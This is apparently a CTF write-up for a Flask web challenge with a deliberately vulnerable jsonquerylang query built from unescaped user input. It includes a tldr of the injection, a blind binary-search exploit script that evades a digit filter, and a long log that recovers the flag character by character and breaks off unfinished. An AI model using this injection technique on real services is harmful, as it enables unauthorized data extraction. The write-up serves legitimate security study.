web
jey is not my son

Find the year the flag was created, that’s the answer you seek. But beware: Jey is not not my son.
# app.py
import json
import string
from flask import Flask, render_template, request
from jsonquerylang import jsonquery
app = Flask(__name__)
with open("data.json") as f:
data = json.load(f)
def count_baby_names(name: str, year: int) -> int:
query = f"""
.collection
| filter(.Name == "{name}" and .Year == "{year}")
| pick(.Count)
| map(values())
| flatten()
| map(number(get()))
| sum()
"""
output = jsonquery(data, query)
return int(output)
def contains_digit(name: str) -> bool:
for num in string.digits:
if num in name:
return True
return False
@app.route("/", methods=["GET"])
def home():
name = None
year = None
result = None
error = None
name = request.args.get("name", default="(no name)")
year = request.args.get("year", type=int)
if not name or contains_digit(name):
error = "Please enter a name."
elif not year:
error = "Please enter a year."
else:
if year < 1880 or year > 2025:
error = "Year must be between 1880 and 2025."
try:
result = count_baby_names(name=name, year=year)
except Exception as e:
error = f"Unexpected error: {e}"
return render_template("index.html", name=name, year=year, count=result, error=error)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)tldr;
The vulnerable piece of code is this line.
| filter(.Name == "{name}" and .Year == "{year}")Our input with name and year is inserted into a code string (the DSL program) with no escaping. So the workaround this is terminate with the
"...", close thefilter(, and inject arbitrary query operators/pipelines. Our injection comes after that is the real exploit.
.collection
| filter(.Name == "flag") <-- closed early by `")`
| map({Count: <PREDICATE>}) <-- injected logic
| filter(.Name not in [] or .Name == " and .Year == "2019") <-- remainder glued here
| pick(.Count) | map(values()) | flatten() | map(number(get())) | sum()The fomula for it is going to be
flag") | map({Count: <PREDICATE>}) | filter(.Name not in [] or .Name == "flag"→ closes the"...string.)→ closes the originalfilter(call, so it becomesfilter(.Name == "flag").| map({Count: <PREDICATE>})→ payload pipeline; decide what number gets printed.| filter(.Name not in [] or .Name == "→ opens a new filter and leaves a string open to catch the remainder.
And build on that logic and plus the predicate of guessing character by character, we ultimately got the solve.
solve.py
import sys
import time
import requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "https://fortid-jey-is-not-my-son.chals.io"
S = requests.Session()
S.headers.update({"User-Agent": "fortid-jey-progress"})
ALPH = r"""#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"""
def enc_digits(s: str) -> str:
"""Encode digits without placing digits literally in the 'name' parameter."""
out = []
for ch in s:
if ch.isdigit():
n = ord(ch) - 48
out.append(
'"+string(' + "+".join(['(""!="")'] * 2 + ['(""=="")'] * n) + ')+"'
)
else:
out.append(ch)
return "".join(out)
def probe(prefix_plus_char: str) -> int:
"""Return 1 if .Year >= prefix_plus_char else 0, by reading the page count."""
enc = enc_digits(prefix_plus_char)
name = (
'flag") | map({Count: .Year >= ("' + enc + '")}) '
'| filter(.Name not in [] or .Name == "'
)
r = S.get(
f"{BASE}/",
params={"name": name, "year": 2020},
timeout=15,
)
html = r.text
i = html.find('font-extrabold">')
if i < 0:
return -1
j = html.find("</span>", i)
if j < 0:
return -1
try:
return int(html[i + 16 : j]) # 0 or 1
except:
return -1
def next_char(prefix: str) -> str:
lo, hi = 0, len(ALPH)
steps = 0
while lo + 1 < hi:
steps += 1
mid = (lo + hi) // 2
guess = prefix + ALPH[mid]
t0 = time.time()
res = probe(guess)
dt = time.time() - t0
print(f" • test '{guess}': result={res} (t={dt:.2f}s)")
if res == 1:
lo = mid
elif res == 0:
hi = mid
else:
print(" [!] parse issue; retrying once…")
res = probe(guess)
if res == 1:
lo = mid
elif res == 0:
hi = mid
else:
raise RuntimeError("Response parse failed twice")
return ALPH[lo]
def solve():
flag = "FortID{"
print(f"[start] prefix: {flag}")
while True:
ch = next_char(flag)
flag += ch
print(f"[step] chose '{ch}' -> {flag}")
if ch == "}":
print(f"[DONE] {flag}")
return flag
solve()❯ python solve.py
[start] prefix: FortID{
• test 'FortID{P': result=0 (t=0.39s)
• test 'FortID{9': result=1 (t=0.14s)
• test 'FortID{D': result=0 (t=0.13s)
• test 'FortID{>': result=1 (t=0.13s)
• test 'FortID{A': result=1 (t=0.13s)
• test 'FortID{B': result=1 (t=0.12s)
• test 'FortID{C': result=0 (t=0.11s)
[step] chose 'B' -> FortID{B
• test 'FortID{BP': result=0 (t=0.12s)
• test 'FortID{B9': result=0 (t=0.12s)
• test 'FortID{B.': result=1 (t=0.13s)
• test 'FortID{B3': result=1 (t=0.13s)
• test 'FortID{B6': result=0 (t=0.13s)
• test 'FortID{B4': result=0 (t=0.12s)
[step] chose '3' -> FortID{B3
• test 'FortID{B3P': result=1 (t=0.12s)
• test 'FortID{B3h': result=0 (t=0.13s)
• test 'FortID{B3[': result=1 (t=0.12s)
• test 'FortID{B3b': result=0 (t=0.12s)
• test 'FortID{B3_': result=1 (t=0.12s)
• test 'FortID{B3`': result=0 (t=0.13s)
[step] chose '_' -> FortID{B3_
• test 'FortID{B3_P': result=1 (t=0.12s)
• test 'FortID{B3_h': result=1 (t=0.13s)
• test 'FortID{B3_s': result=1 (t=0.12s)
• test 'FortID{B3_y': result=0 (t=0.12s)
• test 'FortID{B3_v': result=0 (t=0.12s)
• test 'FortID{B3_t': result=1 (t=0.13s)
• test 'FortID{B3_u': result=0 (t=0.12s)
[step] chose 't' -> FortID{B3_t
• test 'FortID{B3_tP': result=1 (t=0.13s)
• test 'FortID{B3_th': result=1 (t=0.12s)
• test 'FortID{B3_ts': result=0 (t=0.11s)
• test 'FortID{B3_tm': result=0 (t=0.12s)
• test 'FortID{B3_tj': result=0 (t=0.12s)
• test 'FortID{B3_ti': result=0 (t=0.13s)
[step] chose 'h' -> FortID{B3_th
• test 'FortID{B3_thP': result=0 (t=0.12s)
• test 'FortID{B3_th9': result=0 (t=0.13s)
• test 'FortID{B3_th.': result=1 (t=0.12s)
• test 'FortID{B3_th3': result=1 (t=0.12s)
• test 'FortID{B3_th6': result=0 (t=0.12s)
• test 'FortID{B3_th4': result=0 (t=0.12s)
[step] chose '3' -> FortID{B3_th3
• test 'FortID{B3_th3P': result=1 (t=0.12s)
• test 'FortID{B3_th3h': result=0 (t=0.13s)
• test 'FortID{B3_th3[': result=1 (t=0.12s)
• test 'FortID{B3_th3b': result=0 (t=0.13s)
• test 'FortID{B3_th3_': result=1 (t=0.13s)
• test 'FortID{B3_th3`': result=0 (t=0.14s)
[step] chose '_' -> FortID{B3_th3_
• test 'FortID{B3_th3_P': result=0 (t=0.12s)
• test 'FortID{B3_th3_9': result=0 (t=0.13s)
• test 'FortID{B3_th3_.': result=1 (t=0.13s)
• test 'FortID{B3_th3_3': result=0 (t=0.13s)
• test 'FortID{B3_th3_0': result=1 (t=0.12s)
• test 'FortID{B3_th3_1': result=0 (t=0.12s)
[step] chose '0' -> FortID{B3_th3_0
• test 'FortID{B3_th3_0P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0h': result=1 (t=0.12s)
• test 'FortID{B3_th3_0s': result=0 (t=0.12s)
• test 'FortID{B3_th3_0m': result=1 (t=0.13s)
• test 'FortID{B3_th3_0p': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n': result=1 (t=0.13s)
• test 'FortID{B3_th3_0o': result=0 (t=0.13s)
[step] chose 'n' -> FortID{B3_th3_0n
• test 'FortID{B3_th3_0nP': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n9': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n.': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n6': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n4': result=0 (t=0.12s)
[step] chose '3' -> FortID{B3_th3_0n3
• test 'FortID{B3_th3_0n3P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3h': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3b': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3`': result=0 (t=0.13s)
[step] chose '_' -> FortID{B3_th3_0n3_
• test 'FortID{B3_th3_0n3_P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_h': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_s': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_y': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_v': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_w': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_x': result=0 (t=0.16s)
[step] chose 'w' -> FortID{B3_th3_0n3_w
• test 'FortID{B3_th3_0n3_wP': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_ws': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wm': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wj': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wi': result=0 (t=0.13s)
[step] chose 'h' -> FortID{B3_th3_0n3_wh
• test 'FortID{B3_th3_0n3_whP': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh9': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh.': result=1 (t=0.17s)
• test 'FortID{B3_th3_0n3_wh3': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh1': result=0 (t=0.13s)
[step] chose '0' -> FortID{B3_th3_0n3_wh0
• test 'FortID{B3_th3_0n3_wh0P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0h': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0b': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0`': result=0 (t=0.13s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_
• test 'FortID{B3_th3_0n3_wh0_P': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_9': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_.': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_3': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_0': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_2': result=0 (t=0.13s)
[step] chose '1' -> FortID{B3_th3_0n3_wh0_1
• test 'FortID{B3_th3_0n3_wh0_1P': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1h': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1y': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1v': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1t': result=0 (t=0.12s)
[step] chose 's' -> FortID{B3_th3_0n3_wh0_1s
• test 'FortID{B3_th3_0n3_wh0_1sP': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1sh': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1sb': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s`': result=0 (t=0.12s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_1s_
• test 'FortID{B3_th3_0n3_wh0_1s_P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_h': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_s': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_m': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_p': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_o': result=0 (t=0.14s)
[step] chose 'n' -> FortID{B3_th3_0n3_wh0_1s_n
• test 'FortID{B3_th3_0n3_wh0_1s_nP': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n9': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n.': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n3': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n1': result=0 (t=0.15s)
[step] chose '0' -> FortID{B3_th3_0n3_wh0_1s_n0
• test 'FortID{B3_th3_0n3_wh0_1s_n0P': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0h': result=1 (t=0.16s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0s': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0y': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0v': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0u': result=0 (t=0.12s)
[step] chose 't' -> FortID{B3_th3_0n3_wh0_1s_n0t
• test 'FortID{B3_th3_0n3_wh0_1s_n0tP': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0th': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0tb': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t`': result=0 (t=0.14s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_1s_n0t_
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_h': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_e': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_c': result=0 (t=0.14s)
[step] chose 'b' -> FortID{B3_th3_0n3_wh0_1s_n0t_b
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_bP': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b9': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b.': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b3': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b0': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b2': result=0 (t=0.13s)
[step] chose '1' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1P': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1h': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1s': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1m': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1j': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1i': result=1 (t=0.14s)
[step] chose 'i' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1i
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1iP': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ih': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1is': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1im': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ip': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1in': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1io': result=0 (t=0.13s)
[step] chose 'n' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1in
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inP': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inh': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1in[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inb': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ine': result=0 (t=0.17s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1inc': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind': result=1 (t=0.15s)
[step] chose 'd' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1indP': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1indh': result=0 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind[': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1indb': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind`': result=0 (t=0.13s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_P': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_9': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_.': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_3': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_0': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_2': result=0 (t=0.13s)
[step] chose '1' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1P': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1h': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1s': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1m': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1p': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1o': result=0 (t=0.16s)
[step] chose 'n' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1nP': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1nh': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1nb': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n`': result=0 (t=0.13s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_P': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_h': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_s': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_y': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_v': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_t': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_u': result=0 (t=0.14s)
[step] chose 't' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_t
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_tP': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_ts': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_tm': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_tj': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_ti': result=0 (t=0.14s)
[step] chose 'h' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_thP': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th9': result=0 (t=0.16s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th.': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th6': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th4': result=0 (t=0.13s)
[step] chose '3' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3P': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3h': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3[': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3b': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3`': result=0 (t=0.15s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_P': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_h': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_s': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_m': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_p': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_o': result=0 (t=0.16s)
[step] chose 'n' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_nP': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n9': result=0 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n.': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n6': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n4': result=0 (t=0.13s)
[step] chose '3' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3P': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3h': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3s': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3y': result=0 (t=0.16s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3v': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3x': result=0 (t=0.13s)
[step] chose 'w' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3wP': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3wh': result=0 (t=0.16s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w[': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3wb': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w`': result=0 (t=0.13s)
[step] chose '_' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_P': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_9': result=0 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_.': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3': result=1 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_6': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_4': result=0 (t=0.14s)
[step] chose '3' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3P': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3h': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3s': result=0 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3m': result=1 (t=0.16s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3p': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3q': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r': result=1 (t=0.14s)
[step] chose 'r' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3rP': result=0 (t=0.12s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r9': result=0 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r.': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r3': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r6': result=0 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4': result=1 (t=0.14s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r5': result=0 (t=0.16s)
[step] chose '4' -> FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4P': result=1 (t=0.15s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4h': result=1 (t=0.17s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4s': result=1 (t=0.13s)
• test 'FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4y': result=1 (t=0.15s)
